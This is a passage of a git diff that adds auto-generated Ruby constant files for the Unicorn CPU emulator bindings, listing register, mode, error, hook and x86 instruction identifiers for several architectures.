= 103 + UC_ARM_REG_S25 = 104 + UC_ARM_REG_S26 = 105 + UC_ARM_REG_S27 = 106 + UC_ARM_REG_S28 = 107 + UC_ARM_REG_S29 = 108 + UC_ARM_REG_S30 = 109 + UC_ARM_REG_S31 = 110 + UC_ARM_REG_C1_C0_2 = 111 + UC_ARM_REG_C13_C0_2 = 112 + UC_ARM_REG_C13_C0_3 = 113 + UC_ARM_REG_IPSR = 114 + UC_ARM_REG_MSP = 115 + UC_ARM_REG_PSP = 116 + UC_ARM_REG_CONTROL = 117 + UC_ARM_REG_ENDING = 118 + +# alias registers + UC_ARM_REG_R13 = 12 + UC_ARM_REG_R14 = 10 + UC_ARM_REG_R15 = 11 + UC_ARM_REG_SB = 75 + UC_ARM_REG_SL = 76 + UC_ARM_REG_FP = 77 + UC_ARM_REG_IP = 78 +end \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/m68k_const.rb b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/m68k_const.rb new file mode 100644 index 0000000..dc64153 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/m68k_const.rb @@ -0,0 +1,27 @@ +# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [m68k_const.rb] + +module UnicornEngine + +# M68K registers + + UC_M68K_REG_INVALID = 0 + UC_M68K_REG_A0 = 1 + UC_M68K_REG_A1 = 2 + UC_M68K_REG_A2 = 3 + UC_M68K_REG_A3 = 4 + UC_M68K_REG_A4 = 5 + UC_M68K_REG_A5 = 6 + UC_M68K_REG_A6 = 7 + UC_M68K_REG_A7 = 8 + UC_M68K_REG_D0 = 9 + UC_M68K_REG_D1 = 10 + UC_M68K_REG_D2 = 11 + UC_M68K_REG_D3 = 12 + UC_M68K_REG_D4 = 13 + UC_M68K_REG_D5 = 14 + UC_M68K_REG_D6 = 15 + UC_M68K_REG_D7 = 16 + UC_M68K_REG_SR = 17 + UC_M68K_REG_PC = 18 + UC_M68K_REG_ENDING = 19 +end \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/mips_const.rb b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/mips_const.rb new file mode 100644 index 0000000..9e8d52e --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/mips_const.rb @@ -0,0 +1,200 @@ +# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [mips_const.rb] + +module UnicornEngine + +# MIPS registers + + UC_MIPS_REG_INVALID = 0 + +# General purpose registers + UC_MIPS_REG_PC = 1 + UC_MIPS_REG_0 = 2 + UC_MIPS_REG_1 = 3 + UC_MIPS_REG_2 = 4 + UC_MIPS_REG_3 = 5 + UC_MIPS_REG_4 = 6 + UC_MIPS_REG_5 = 7 + UC_MIPS_REG_6 = 8 + UC_MIPS_REG_7 = 9 + UC_MIPS_REG_8 = 10 + UC_MIPS_REG_9 = 11 + UC_MIPS_REG_10 = 12 + UC_MIPS_REG_11 = 13 + UC_MIPS_REG_12 = 14 + UC_MIPS_REG_13 = 15 + UC_MIPS_REG_14 = 16 + UC_MIPS_REG_15 = 17 + UC_MIPS_REG_16 = 18 + UC_MIPS_REG_17 = 19 + UC_MIPS_REG_18 = 20 + UC_MIPS_REG_19 = 21 + UC_MIPS_REG_20 = 22 + UC_MIPS_REG_21 = 23 + UC_MIPS_REG_22 = 24 + UC_MIPS_REG_23 = 25 + UC_MIPS_REG_24 = 26 + UC_MIPS_REG_25 = 27 + UC_MIPS_REG_26 = 28 + UC_MIPS_REG_27 = 29 + UC_MIPS_REG_28 = 30 + UC_MIPS_REG_29 = 31 + UC_MIPS_REG_30 = 32 + UC_MIPS_REG_31 = 33 + +# DSP registers + UC_MIPS_REG_DSPCCOND = 34 + UC_MIPS_REG_DSPCARRY = 35 + UC_MIPS_REG_DSPEFI = 36 + UC_MIPS_REG_DSPOUTFLAG = 37 + UC_MIPS_REG_DSPOUTFLAG16_19 = 38 + UC_MIPS_REG_DSPOUTFLAG20 = 39 + UC_MIPS_REG_DSPOUTFLAG21 = 40 + UC_MIPS_REG_DSPOUTFLAG22 = 41 + UC_MIPS_REG_DSPOUTFLAG23 = 42 + UC_MIPS_REG_DSPPOS = 43 + UC_MIPS_REG_DSPSCOUNT = 44 + +# ACC registers + UC_MIPS_REG_AC0 = 45 + UC_MIPS_REG_AC1 = 46 + UC_MIPS_REG_AC2 = 47 + UC_MIPS_REG_AC3 = 48 + +# COP registers + UC_MIPS_REG_CC0 = 49 + UC_MIPS_REG_CC1 = 50 + UC_MIPS_REG_CC2 = 51 + UC_MIPS_REG_CC3 = 52 + UC_MIPS_REG_CC4 = 53 + UC_MIPS_REG_CC5 = 54 + UC_MIPS_REG_CC6 = 55 + UC_MIPS_REG_CC7 = 56 + +# FPU registers + UC_MIPS_REG_F0 = 57 + UC_MIPS_REG_F1 = 58 + UC_MIPS_REG_F2 = 59 + UC_MIPS_REG_F3 = 60 + UC_MIPS_REG_F4 = 61 + UC_MIPS_REG_F5 = 62 + UC_MIPS_REG_F6 = 63 + UC_MIPS_REG_F7 = 64 + UC_MIPS_REG_F8 = 65 + UC_MIPS_REG_F9 = 66 + UC_MIPS_REG_F10 = 67 + UC_MIPS_REG_F11 = 68 + UC_MIPS_REG_F12 = 69 + UC_MIPS_REG_F13 = 70 + UC_MIPS_REG_F14 = 71 + UC_MIPS_REG_F15 = 72 + UC_MIPS_REG_F16 = 73 + UC_MIPS_REG_F17 = 74 + UC_MIPS_REG_F18 = 75 + UC_MIPS_REG_F19 = 76 + UC_MIPS_REG_F20 = 77 + UC_MIPS_REG_F21 = 78 + UC_MIPS_REG_F22 = 79 + UC_MIPS_REG_F23 = 80 + UC_MIPS_REG_F24 = 81 + UC_MIPS_REG_F25 = 82 + UC_MIPS_REG_F26 = 83 + UC_MIPS_REG_F27 = 84 + UC_MIPS_REG_F28 = 85 + UC_MIPS_REG_F29 = 86 + UC_MIPS_REG_F30 = 87 + UC_MIPS_REG_F31 = 88 + UC_MIPS_REG_FCC0 = 89 + UC_MIPS_REG_FCC1 = 90 + UC_MIPS_REG_FCC2 = 91 + UC_MIPS_REG_FCC3 = 92 + UC_MIPS_REG_FCC4 = 93 + UC_MIPS_REG_FCC5 = 94 + UC_MIPS_REG_FCC6 = 95 + UC_MIPS_REG_FCC7 = 96 + +# AFPR128 + UC_MIPS_REG_W0 = 97 + UC_MIPS_REG_W1 = 98 + UC_MIPS_REG_W2 = 99 + UC_MIPS_REG_W3 = 100 + UC_MIPS_REG_W4 = 101 + UC_MIPS_REG_W5 = 102 + UC_MIPS_REG_W6 = 103 + UC_MIPS_REG_W7 = 104 + UC_MIPS_REG_W8 = 105 + UC_MIPS_REG_W9 = 106 + UC_MIPS_REG_W10 = 107 + UC_MIPS_REG_W11 = 108 + UC_MIPS_REG_W12 = 109 + UC_MIPS_REG_W13 = 110 + UC_MIPS_REG_W14 = 111 + UC_MIPS_REG_W15 = 112 + UC_MIPS_REG_W16 = 113 + UC_MIPS_REG_W17 = 114 + UC_MIPS_REG_W18 = 115 + UC_MIPS_REG_W19 = 116 + UC_MIPS_REG_W20 = 117 + UC_MIPS_REG_W21 = 118 + UC_MIPS_REG_W22 = 119 + UC_MIPS_REG_W23 = 120 + UC_MIPS_REG_W24 = 121 + UC_MIPS_REG_W25 = 122 + UC_MIPS_REG_W26 = 123 + UC_MIPS_REG_W27 = 124 + UC_MIPS_REG_W28 = 125 + UC_MIPS_REG_W29 = 126 + UC_MIPS_REG_W30 = 127 + UC_MIPS_REG_W31 = 128 + UC_MIPS_REG_HI = 129 + UC_MIPS_REG_LO = 130 + UC_MIPS_REG_P0 = 131 + UC_MIPS_REG_P1 = 132 + UC_MIPS_REG_P2 = 133 + UC_MIPS_REG_MPL0 = 134 + UC_MIPS_REG_MPL1 = 135 + UC_MIPS_REG_MPL2 = 136 + UC_MIPS_REG_CP0_CONFIG3 = 137 + UC_MIPS_REG_CP0_USERLOCAL = 138 + UC_MIPS_REG_ENDING = 139 + UC_MIPS_REG_ZERO = 2 + UC_MIPS_REG_AT = 3 + UC_MIPS_REG_V0 = 4 + UC_MIPS_REG_V1 = 5 + UC_MIPS_REG_A0 = 6 + UC_MIPS_REG_A1 = 7 + UC_MIPS_REG_A2 = 8 + UC_MIPS_REG_A3 = 9 + UC_MIPS_REG_T0 = 10 + UC_MIPS_REG_T1 = 11 + UC_MIPS_REG_T2 = 12 + UC_MIPS_REG_T3 = 13 + UC_MIPS_REG_T4 = 14 + UC_MIPS_REG_T5 = 15 + UC_MIPS_REG_T6 = 16 + UC_MIPS_REG_T7 = 17 + UC_MIPS_REG_S0 = 18 + UC_MIPS_REG_S1 = 19 + UC_MIPS_REG_S2 = 20 + UC_MIPS_REG_S3 = 21 + UC_MIPS_REG_S4 = 22 + UC_MIPS_REG_S5 = 23 + UC_MIPS_REG_S6 = 24 + UC_MIPS_REG_S7 = 25 + UC_MIPS_REG_T8 = 26 + UC_MIPS_REG_T9 = 27 + UC_MIPS_REG_K0 = 28 + UC_MIPS_REG_K1 = 29 + UC_MIPS_REG_GP = 30 + UC_MIPS_REG_SP = 31 + UC_MIPS_REG_FP = 32 + UC_MIPS_REG_S8 = 32 + UC_MIPS_REG_RA = 33 + UC_MIPS_REG_HI0 = 45 + UC_MIPS_REG_HI1 = 46 + UC_MIPS_REG_HI2 = 47 + UC_MIPS_REG_HI3 = 48 + UC_MIPS_REG_LO0 = 45 + UC_MIPS_REG_LO1 = 46 + UC_MIPS_REG_LO2 = 47 + UC_MIPS_REG_LO3 = 48 +end \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/sparc_const.rb b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/sparc_const.rb new file mode 100644 index 0000000..b5c4247 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/sparc_const.rb @@ -0,0 +1,99 @@ +# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [sparc_const.rb] + +module UnicornEngine + +# SPARC registers + + UC_SPARC_REG_INVALID = 0 + UC_SPARC_REG_F0 = 1 + UC_SPARC_REG_F1 = 2 + UC_SPARC_REG_F2 = 3 + UC_SPARC_REG_F3 = 4 + UC_SPARC_REG_F4 = 5 + UC_SPARC_REG_F5 = 6 + UC_SPARC_REG_F6 = 7 + UC_SPARC_REG_F7 = 8 + UC_SPARC_REG_F8 = 9 + UC_SPARC_REG_F9 = 10 + UC_SPARC_REG_F10 = 11 + UC_SPARC_REG_F11 = 12 + UC_SPARC_REG_F12 = 13 + UC_SPARC_REG_F13 = 14 + UC_SPARC_REG_F14 = 15 + UC_SPARC_REG_F15 = 16 + UC_SPARC_REG_F16 = 17 + UC_SPARC_REG_F17 = 18 + UC_SPARC_REG_F18 = 19 + UC_SPARC_REG_F19 = 20 + UC_SPARC_REG_F20 = 21 + UC_SPARC_REG_F21 = 22 + UC_SPARC_REG_F22 = 23 + UC_SPARC_REG_F23 = 24 + UC_SPARC_REG_F24 = 25 + UC_SPARC_REG_F25 = 26 + UC_SPARC_REG_F26 = 27 + UC_SPARC_REG_F27 = 28 + UC_SPARC_REG_F28 = 29 + UC_SPARC_REG_F29 = 30 + UC_SPARC_REG_F30 = 31 + UC_SPARC_REG_F31 = 32 + UC_SPARC_REG_F32 = 33 + UC_SPARC_REG_F34 = 34 + UC_SPARC_REG_F36 = 35 + UC_SPARC_REG_F38 = 36 + UC_SPARC_REG_F40 = 37 + UC_SPARC_REG_F42 = 38 + UC_SPARC_REG_F44 = 39 + UC_SPARC_REG_F46 = 40 + UC_SPARC_REG_F48 = 41 + UC_SPARC_REG_F50 = 42 + UC_SPARC_REG_F52 = 43 + UC_SPARC_REG_F54 = 44 + UC_SPARC_REG_F56 = 45 + UC_SPARC_REG_F58 = 46 + UC_SPARC_REG_F60 = 47 + UC_SPARC_REG_F62 = 48 + UC_SPARC_REG_FCC0 = 49 + UC_SPARC_REG_FCC1 = 50 + UC_SPARC_REG_FCC2 = 51 + UC_SPARC_REG_FCC3 = 52 + UC_SPARC_REG_G0 = 53 + UC_SPARC_REG_G1 = 54 + UC_SPARC_REG_G2 = 55 + UC_SPARC_REG_G3 = 56 + UC_SPARC_REG_G4 = 57 + UC_SPARC_REG_G5 = 58 + UC_SPARC_REG_G6 = 59 + UC_SPARC_REG_G7 = 60 + UC_SPARC_REG_I0 = 61 + UC_SPARC_REG_I1 = 62 + UC_SPARC_REG_I2 = 63 + UC_SPARC_REG_I3 = 64 + UC_SPARC_REG_I4 = 65 + UC_SPARC_REG_I5 = 66 + UC_SPARC_REG_FP = 67 + UC_SPARC_REG_I7 = 68 + UC_SPARC_REG_ICC = 69 + UC_SPARC_REG_L0 = 70 + UC_SPARC_REG_L1 = 71 + UC_SPARC_REG_L2 = 72 + UC_SPARC_REG_L3 = 73 + UC_SPARC_REG_L4 = 74 + UC_SPARC_REG_L5 = 75 + UC_SPARC_REG_L6 = 76 + UC_SPARC_REG_L7 = 77 + UC_SPARC_REG_O0 = 78 + UC_SPARC_REG_O1 = 79 + UC_SPARC_REG_O2 = 80 + UC_SPARC_REG_O3 = 81 + UC_SPARC_REG_O4 = 82 + UC_SPARC_REG_O5 = 83 + UC_SPARC_REG_SP = 84 + UC_SPARC_REG_O7 = 85 + UC_SPARC_REG_Y = 86 + UC_SPARC_REG_XCC = 87 + UC_SPARC_REG_PC = 88 + UC_SPARC_REG_ENDING = 89 + UC_SPARC_REG_O6 = 84 + UC_SPARC_REG_I6 = 67 +end \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/unicorn_const.rb b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/unicorn_const.rb new file mode 100644 index 0000000..178fac6 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/unicorn_const.rb @@ -0,0 +1,111 @@ +# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [unicorn_const.rb] + +module UnicornEngine + UC_API_MAJOR = 1 + + UC_API_MINOR = 0 + UC_VERSION_MAJOR = 1 + + UC_VERSION_MINOR = 0 + UC_VERSION_EXTRA = 2 + UC_SECOND_SCALE = 1000000 + UC_MILISECOND_SCALE = 1000 + UC_ARCH_ARM = 1 + UC_ARCH_ARM64 = 2 + UC_ARCH_MIPS = 3 + UC_ARCH_X86 = 4 + UC_ARCH_PPC = 5 + UC_ARCH_SPARC = 6 + UC_ARCH_M68K = 7 + UC_ARCH_MAX = 8 + + UC_MODE_LITTLE_ENDIAN = 0 + UC_MODE_BIG_ENDIAN = 1073741824 + + UC_MODE_ARM = 0 + UC_MODE_THUMB = 16 + UC_MODE_MCLASS = 32 + UC_MODE_V8 = 64 + UC_MODE_ARM926 = 128 + UC_MODE_ARM946 = 256 + UC_MODE_ARM1176 = 512 + UC_MODE_MICRO = 16 + UC_MODE_MIPS3 = 32 + UC_MODE_MIPS32R6 = 64 + UC_MODE_MIPS32 = 4 + UC_MODE_MIPS64 = 8 + UC_MODE_16 = 2 + UC_MODE_32 = 4 + UC_MODE_64 = 8 + UC_MODE_PPC32 = 4 + UC_MODE_PPC64 = 8 + UC_MODE_QPX = 16 + UC_MODE_SPARC32 = 4 + UC_MODE_SPARC64 = 8 + UC_MODE_V9 = 16 + + UC_ERR_OK = 0 + UC_ERR_NOMEM = 1 + UC_ERR_ARCH = 2 + UC_ERR_HANDLE = 3 + UC_ERR_MODE = 4 + UC_ERR_VERSION = 5 + UC_ERR_READ_UNMAPPED = 6 + UC_ERR_WRITE_UNMAPPED = 7 + UC_ERR_FETCH_UNMAPPED = 8 + UC_ERR_HOOK = 9 + UC_ERR_INSN_INVALID = 10 + UC_ERR_MAP = 11 + UC_ERR_WRITE_PROT = 12 + UC_ERR_READ_PROT = 13 + UC_ERR_FETCH_PROT = 14 + UC_ERR_ARG = 15 + UC_ERR_READ_UNALIGNED = 16 + UC_ERR_WRITE_UNALIGNED = 17 + UC_ERR_FETCH_UNALIGNED = 18 + UC_ERR_HOOK_EXIST = 19 + UC_ERR_RESOURCE = 20 + UC_ERR_EXCEPTION = 21 + UC_MEM_READ = 16 + UC_MEM_WRITE = 17 + UC_MEM_FETCH = 18 + UC_MEM_READ_UNMAPPED = 19 + UC_MEM_WRITE_UNMAPPED = 20 + UC_MEM_FETCH_UNMAPPED = 21 + UC_MEM_WRITE_PROT = 22 + UC_MEM_READ_PROT = 23 + UC_MEM_FETCH_PROT = 24 + UC_MEM_READ_AFTER = 25 + UC_HOOK_INTR = 1 + UC_HOOK_INSN = 2 + UC_HOOK_CODE = 4 + UC_HOOK_BLOCK = 8 + UC_HOOK_MEM_READ_UNMAPPED = 16 + UC_HOOK_MEM_WRITE_UNMAPPED = 32 + UC_HOOK_MEM_FETCH_UNMAPPED = 64 + UC_HOOK_MEM_READ_PROT = 128 + UC_HOOK_MEM_WRITE_PROT = 256 + UC_HOOK_MEM_FETCH_PROT = 512 + UC_HOOK_MEM_READ = 1024 + UC_HOOK_MEM_WRITE = 2048 + UC_HOOK_MEM_FETCH = 4096 + UC_HOOK_MEM_READ_AFTER = 8192 + UC_HOOK_INSN_INVALID = 16384 + UC_HOOK_MEM_UNMAPPED = 112 + UC_HOOK_MEM_PROT = 896 + UC_HOOK_MEM_READ_INVALID = 144 + UC_HOOK_MEM_WRITE_INVALID = 288 + UC_HOOK_MEM_FETCH_INVALID = 576 + UC_HOOK_MEM_INVALID = 1008 + UC_HOOK_MEM_VALID = 7168 + UC_QUERY_MODE = 1 + UC_QUERY_PAGE_SIZE = 2 + UC_QUERY_ARCH = 3 + UC_QUERY_TIMEOUT = 4 + + UC_PROT_NONE = 0 + UC_PROT_READ = 1 + UC_PROT_WRITE = 2 + UC_PROT_EXEC = 4 + UC_PROT_ALL = 7 +end \ No newline at end of file diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/version.rb b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/version.rb new file mode 100644 index 0000000..bca7c5f --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/version.rb @@ -0,0 +1,3 @@ +module Unicorn + VERSION = "1.0.1" +end diff --git a/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/x86_const.rb b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/x86_const.rb new file mode 100644 index 0000000..8063eec --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/bindings/ruby/unicorn_gem/lib/unicorn_engine/x86_const.rb @@ -0,0 +1,1602 @@ +# For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT [x86_const.rb] + +module UnicornEngine + +# X86 registers + + UC_X86_REG_INVALID = 0 + UC_X86_REG_AH = 1 + UC_X86_REG_AL = 2 + UC_X86_REG_AX = 3 + UC_X86_REG_BH = 4 + UC_X86_REG_BL = 5 + UC_X86_REG_BP = 6 + UC_X86_REG_BPL = 7 + UC_X86_REG_BX = 8 + UC_X86_REG_CH = 9 + UC_X86_REG_CL = 10 + UC_X86_REG_CS = 11 + UC_X86_REG_CX = 12 + UC_X86_REG_DH = 13 + UC_X86_REG_DI = 14 + UC_X86_REG_DIL = 15 + UC_X86_REG_DL = 16 + UC_X86_REG_DS = 17 + UC_X86_REG_DX = 18 + UC_X86_REG_EAX = 19 + UC_X86_REG_EBP = 20 + UC_X86_REG_EBX = 21 + UC_X86_REG_ECX = 22 + UC_X86_REG_EDI = 23 + UC_X86_REG_EDX = 24 + UC_X86_REG_EFLAGS = 25 + UC_X86_REG_EIP = 26 + UC_X86_REG_EIZ = 27 + UC_X86_REG_ES = 28 + UC_X86_REG_ESI = 29 + UC_X86_REG_ESP = 30 + UC_X86_REG_FPSW = 31 + UC_X86_REG_FS = 32 + UC_X86_REG_GS = 33 + UC_X86_REG_IP = 34 + UC_X86_REG_RAX = 35 + UC_X86_REG_RBP = 36 + UC_X86_REG_RBX = 37 + UC_X86_REG_RCX = 38 + UC_X86_REG_RDI = 39 + UC_X86_REG_RDX = 40 + UC_X86_REG_RIP = 41 + UC_X86_REG_RIZ = 42 + UC_X86_REG_RSI = 43 + UC_X86_REG_RSP = 44 + UC_X86_REG_SI = 45 + UC_X86_REG_SIL = 46 + UC_X86_REG_SP = 47 + UC_X86_REG_SPL = 48 + UC_X86_REG_SS = 49 + UC_X86_REG_CR0 = 50 + UC_X86_REG_CR1 = 51 + UC_X86_REG_CR2 = 52 + UC_X86_REG_CR3 = 53 + UC_X86_REG_CR4 = 54 + UC_X86_REG_CR5 = 55 + UC_X86_REG_CR6 = 56 + UC_X86_REG_CR7 = 57 + UC_X86_REG_CR8 = 58 + UC_X86_REG_CR9 = 59 + UC_X86_REG_CR10 = 60 + UC_X86_REG_CR11 = 61 + UC_X86_REG_CR12 = 62 + UC_X86_REG_CR13 = 63 + UC_X86_REG_CR14 = 64 + UC_X86_REG_CR15 = 65 + UC_X86_REG_DR0 = 66 + UC_X86_REG_DR1 = 67 + UC_X86_REG_DR2 = 68 + UC_X86_REG_DR3 = 69 + UC_X86_REG_DR4 = 70 + UC_X86_REG_DR5 = 71 + UC_X86_REG_DR6 = 72 + UC_X86_REG_DR7 = 73 + UC_X86_REG_DR8 = 74 + UC_X86_REG_DR9 = 75 + UC_X86_REG_DR10 = 76 + UC_X86_REG_DR11 = 77 + UC_X86_REG_DR12 = 78 + UC_X86_REG_DR13 = 79 + UC_X86_REG_DR14 = 80 + UC_X86_REG_DR15 = 81 + UC_X86_REG_FP0 = 82 + UC_X86_REG_FP1 = 83 + UC_X86_REG_FP2 = 84 + UC_X86_REG_FP3 = 85 + UC_X86_REG_FP4 = 86 + UC_X86_REG_FP5 = 87 + UC_X86_REG_FP6 = 88 + UC_X86_REG_FP7 = 89 + UC_X86_REG_K0 = 90 + UC_X86_REG_K1 = 91 + UC_X86_REG_K2 = 92 + UC_X86_REG_K3 = 93 + UC_X86_REG_K4 = 94 + UC_X86_REG_K5 = 95 + UC_X86_REG_K6 = 96 + UC_X86_REG_K7 = 97 + UC_X86_REG_MM0 = 98 + UC_X86_REG_MM1 = 99 + UC_X86_REG_MM2 = 100 + UC_X86_REG_MM3 = 101 + UC_X86_REG_MM4 = 102 + UC_X86_REG_MM5 = 103 + UC_X86_REG_MM6 = 104 + UC_X86_REG_MM7 = 105 + UC_X86_REG_R8 = 106 + UC_X86_REG_R9 = 107 + UC_X86_REG_R10 = 108 + UC_X86_REG_R11 = 109 + UC_X86_REG_R12 = 110 + UC_X86_REG_R13 = 111 + UC_X86_REG_R14 = 112 + UC_X86_REG_R15 = 113 + UC_X86_REG_ST0 = 114 + UC_X86_REG_ST1 = 115 + UC_X86_REG_ST2 = 116 + UC_X86_REG_ST3 = 117 + UC_X86_REG_ST4 = 118 + UC_X86_REG_ST5 = 119 + UC_X86_REG_ST6 = 120 + UC_X86_REG_ST7 = 121 + UC_X86_REG_XMM0 = 122 + UC_X86_REG_XMM1 = 123 + UC_X86_REG_XMM2 = 124 + UC_X86_REG_XMM3 = 125 + UC_X86_REG_XMM4 = 126 + UC_X86_REG_XMM5 = 127 + UC_X86_REG_XMM6 = 128 + UC_X86_REG_XMM7 = 129 + UC_X86_REG_XMM8 = 130 + UC_X86_REG_XMM9 = 131 + UC_X86_REG_XMM10 = 132 + UC_X86_REG_XMM11 = 133 + UC_X86_REG_XMM12 = 134 + UC_X86_REG_XMM13 = 135 + UC_X86_REG_XMM14 = 136 + UC_X86_REG_XMM15 = 137 + UC_X86_REG_XMM16 = 138 + UC_X86_REG_XMM17 = 139 + UC_X86_REG_XMM18 = 140 + UC_X86_REG_XMM19 = 141 + UC_X86_REG_XMM20 = 142 + UC_X86_REG_XMM21 = 143 + UC_X86_REG_XMM22 = 144 + UC_X86_REG_XMM23 = 145 + UC_X86_REG_XMM24 = 146 + UC_X86_REG_XMM25 = 147 + UC_X86_REG_XMM26 = 148 + UC_X86_REG_XMM27 = 149 + UC_X86_REG_XMM28 = 150 + UC_X86_REG_XMM29 = 151 + UC_X86_REG_XMM30 = 152 + UC_X86_REG_XMM31 = 153 + UC_X86_REG_YMM0 = 154 + UC_X86_REG_YMM1 = 155 + UC_X86_REG_YMM2 = 156 + UC_X86_REG_YMM3 = 157 + UC_X86_REG_YMM4 = 158 + UC_X86_REG_YMM5 = 159 + UC_X86_REG_YMM6 = 160 + UC_X86_REG_YMM7 = 161 + UC_X86_REG_YMM8 = 162 + UC_X86_REG_YMM9 = 163 + UC_X86_REG_YMM10 = 164 + UC_X86_REG_YMM11 = 165 + UC_X86_REG_YMM12 = 166 + UC_X86_REG_YMM13 = 167 + UC_X86_REG_YMM14 = 168 + UC_X86_REG_YMM15 = 169 + UC_X86_REG_YMM16 = 170 + UC_X86_REG_YMM17 = 171 + UC_X86_REG_YMM18 = 172 + UC_X86_REG_YMM19 = 173 + UC_X86_REG_YMM20 = 174 + UC_X86_REG_YMM21 = 175 + UC_X86_REG_YMM22 = 176 + UC_X86_REG_YMM23 = 177 + UC_X86_REG_YMM24 = 178 + UC_X86_REG_YMM25 = 179 + UC_X86_REG_YMM26 = 180 + UC_X86_REG_YMM27 = 181 + UC_X86_REG_YMM28 = 182 + UC_X86_REG_YMM29 = 183 + UC_X86_REG_YMM30 = 184 + UC_X86_REG_YMM31 = 185 + UC_X86_REG_ZMM0 = 186 + UC_X86_REG_ZMM1 = 187 + UC_X86_REG_ZMM2 = 188 + UC_X86_REG_ZMM3 = 189 + UC_X86_REG_ZMM4 = 190 + UC_X86_REG_ZMM5 = 191 + UC_X86_REG_ZMM6 = 192 + UC_X86_REG_ZMM7 = 193 + UC_X86_REG_ZMM8 = 194 + UC_X86_REG_ZMM9 = 195 + UC_X86_REG_ZMM10 = 196 + UC_X86_REG_ZMM11 = 197 + UC_X86_REG_ZMM12 = 198 + UC_X86_REG_ZMM13 = 199 + UC_X86_REG_ZMM14 = 200 + UC_X86_REG_ZMM15 = 201 + UC_X86_REG_ZMM16 = 202 + UC_X86_REG_ZMM17 = 203 + UC_X86_REG_ZMM18 = 204 + UC_X86_REG_ZMM19 = 205 + UC_X86_REG_ZMM20 = 206 + UC_X86_REG_ZMM21 = 207 + UC_X86_REG_ZMM22 = 208 + UC_X86_REG_ZMM23 = 209 + UC_X86_REG_ZMM24 = 210 + UC_X86_REG_ZMM25 = 211 + UC_X86_REG_ZMM26 = 212 + UC_X86_REG_ZMM27 = 213 + UC_X86_REG_ZMM28 = 214 + UC_X86_REG_ZMM29 = 215 + UC_X86_REG_ZMM30 = 216 + UC_X86_REG_ZMM31 = 217 + UC_X86_REG_R8B = 218 + UC_X86_REG_R9B = 219 + UC_X86_REG_R10B = 220 + UC_X86_REG_R11B = 221 + UC_X86_REG_R12B = 222 + UC_X86_REG_R13B = 223 + UC_X86_REG_R14B = 224 + UC_X86_REG_R15B = 225 + UC_X86_REG_R8D = 226 + UC_X86_REG_R9D = 227 + UC_X86_REG_R10D = 228 + UC_X86_REG_R11D = 229 + UC_X86_REG_R12D = 230 + UC_X86_REG_R13D = 231 + UC_X86_REG_R14D = 232 + UC_X86_REG_R15D = 233 + UC_X86_REG_R8W = 234 + UC_X86_REG_R9W = 235 + UC_X86_REG_R10W = 236 + UC_X86_REG_R11W = 237 + UC_X86_REG_R12W = 238 + UC_X86_REG_R13W = 239 + UC_X86_REG_R14W = 240 + UC_X86_REG_R15W = 241 + UC_X86_REG_IDTR = 242 + UC_X86_REG_GDTR = 243 + UC_X86_REG_LDTR = 244 + UC_X86_REG_TR = 245 + UC_X86_REG_FPCW = 246 + UC_X86_REG_FPTAG = 247 + UC_X86_REG_MSR = 248 + UC_X86_REG_MXCSR = 249 + UC_X86_REG_FS_BASE = 250 + UC_X86_REG_GS_BASE = 251 + UC_X86_REG_ENDING = 252 + +# X86 instructions + + UC_X86_INS_INVALID = 0 + UC_X86_INS_AAA = 1 + UC_X86_INS_AAD = 2 + UC_X86_INS_AAM = 3 + UC_X86_INS_AAS = 4 + UC_X86_INS_FABS = 5 + UC_X86_INS_ADC = 6 + UC_X86_INS_ADCX = 7 + UC_X86_INS_ADD = 8 + UC_X86_INS_ADDPD = 9 + UC_X86_INS_ADDPS = 10 + UC_X86_INS_ADDSD = 11 + UC_X86_INS_ADDSS = 12 + UC_X86_INS_ADDSUBPD = 13 + UC_X86_INS_ADDSUBPS = 14 + UC_X86_INS_FADD = 15 + UC_X86_INS_FIADD = 16 + UC_X86_INS_FADDP = 17 + UC_X86_INS_ADOX = 18 + UC_X86_INS_AESDECLAST = 19 + UC_X86_INS_AESDEC = 20 + UC_X86_INS_AESENCLAST = 21 + UC_X86_INS_AESENC = 22 + UC_X86_INS_AESIMC = 23 + UC_X86_INS_AESKEYGENASSIST = 24 + UC_X86_INS_AND = 25 + UC_X86_INS_ANDN = 26 + UC_X86_INS_ANDNPD = 27 + UC_X86_INS_ANDNPS = 28 + UC_X86_INS_ANDPD = 29 + UC_X86_INS_ANDPS = 30 + UC_X86_INS_ARPL = 31 + UC_X86_INS_BEXTR = 32 + UC_X86_INS_BLCFILL = 33 + UC_X86_INS_BLCI = 34 + 